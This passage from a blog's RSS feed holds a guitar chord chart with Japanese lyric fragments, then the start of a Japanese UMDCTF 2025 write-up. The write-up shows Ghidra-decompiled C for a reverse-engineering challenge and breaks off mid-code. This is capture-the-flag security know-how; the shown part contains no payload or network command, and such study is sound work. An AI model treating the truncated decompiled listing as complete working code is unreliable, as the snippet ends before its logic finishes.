&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Asus4.png' alt='Asus4'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/.png' alt=''>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/.png' alt=''>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Asus4.png' alt='Asus4'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>夢み&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>たいなこ&lt;/td>&lt;td>の日&lt;/td>&lt;td>を&lt;/td>&lt;td>千年に&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>一回ぐ&lt;/td>&lt;td>らいの日&lt;/td>&lt;td>を&lt;/td>&lt;td>永遠にし&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/.png' alt=''>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>たいこ&lt;/td>&lt;td>の日々&lt;/td>&lt;td>を&lt;/td>&lt;td>そう今も&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>想&lt;/td>&lt;td>ってる&lt;/td>&lt;td>よ&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/G6.png' alt='G6'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Gm6.png' alt='Gm6'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/G6.png' alt='G6'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Gm6.png' alt='Gm6'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>ずっ&lt;/td>&lt;td>とずっ&lt;/td>&lt;td>とこ&lt;/td>&lt;td>の言葉を&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>ずっ&lt;/td>&lt;td>と昔&lt;/td>&lt;td>の&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>僕&lt;/td>&lt;td>の答え&lt;/td>&lt;td>を今&lt;/td>&lt;td>用意し&lt;/td>&lt;td>て&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Asus4.png' alt='Asus4'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/.png' alt=''>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/.png' alt=''>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Asus4.png' alt='Asus4'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>夢み&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>たいなこ&lt;/td>&lt;td>の日&lt;/td>&lt;td>を&lt;/td>&lt;td>千年に&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>一回ぐ&lt;/td>&lt;td>らいの日&lt;/td>&lt;td>を&lt;/td>&lt;td>永遠にし&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>たいこ&lt;/td>&lt;td>の日々&lt;/td>&lt;td>を&lt;/td>&lt;td>そう今も&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>想&lt;/td>&lt;td>ってる&lt;/td>&lt;td>よ&lt;/td>&lt;td>夢み&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>たいな&lt;/td>&lt;td>夜の方&lt;/td>&lt;td>&lt;/td>&lt;td>千年に&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>一回ぐ&lt;/td>&lt;td>らいの月&lt;/td>&lt;td>を&lt;/td>&lt;td>永遠にし&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>たいこ&lt;/td>&lt;td>の夜&lt;/td>&lt;td>を&lt;/td>&lt;td>そう今も&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>想&lt;/td>&lt;td>ってる&lt;/td>&lt;td>よ&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/G6.png' alt='G6'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Gm6.png' alt='Gm6'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/.png' alt=''>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/.png' alt=''>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/.png' alt=''>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/.png' alt=''>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/.png' alt=''>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;/table></description></item><item><title>UMDCTF 2025 Writeup</title><link>https://stark2420.github.io/starknote/post/umdctf-2025/</link><pubDate>Mon, 28 Apr 2025 00:00:00 +0000</pubDate><author>example@example.com (Stark)</author><guid>https://stark2420.github.io/starknote/post/umdctf-2025/</guid><description>&lt;p>2025/4/26 07:00(JST) - 2025/4/28 07:00(JST)で開催された UMDCTF 2025 に参加した．&lt;/p>
&lt;p>個人で参加し，結果は，536 点で 708 チーム中 386 位だった．以下大会期間中に自分で解けた問題には✔をつけている．&lt;/p>
&lt;p>&lt;a href="https://umdctf.io/"target="_blank" rel="noopener noreferrer">https://umdctf.io/&lt;/a>&lt;/p>
&lt;p>他の方のwriteupの一部&lt;br>
・ &lt;a href="https://github.com/Harry1053/UMDCTF2025_Writeups/tree/main"target="_blank" rel="noopener noreferrer">https://github.com/Harry1053/UMDCTF2025_Writeups/tree/main&lt;/a>&lt;br>
・ &lt;a href="https://github.com/rehackxyz/REUN10N/blob/main/CTF-writeups/2025/umdctf-2025/"target="_blank" rel="noopener noreferrer">https://github.com/rehackxyz/REUN10N/blob/main/CTF-writeups/2025/umdctf-2025/&lt;/a>&lt;/p>
&lt;h2 id="rev">rev&lt;/h2>
&lt;h3 id="-deobfuscation-111pt-390-solves">✔ deobfuscation (111pt [390 Solves])&lt;/h3>
&lt;blockquote>
&lt;p>the chall is not that complex. the key is to read ASSEMBLY!&lt;br>
flag&lt;/p>
&lt;/blockquote>
&lt;p>Ghidraでflagファイルを静的解析する．&lt;/p>
&lt;p>./ghidraRun で実行し，プロジェクトを選択後，File &amp;gt; import File&amp;hellip; からflagファイルを選択する．&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="n">processEntry&lt;/span> &lt;span class="nf">entry&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">void&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">long&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">long&lt;/span> &lt;span class="n">j&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">syscall&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">syscall&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">DAT_0040209c&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">DAT_0040211c&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">DAT_0040209c&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">^&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">DAT_00402034&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mh">0x34&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">do&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">j&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">;&lt;/span>
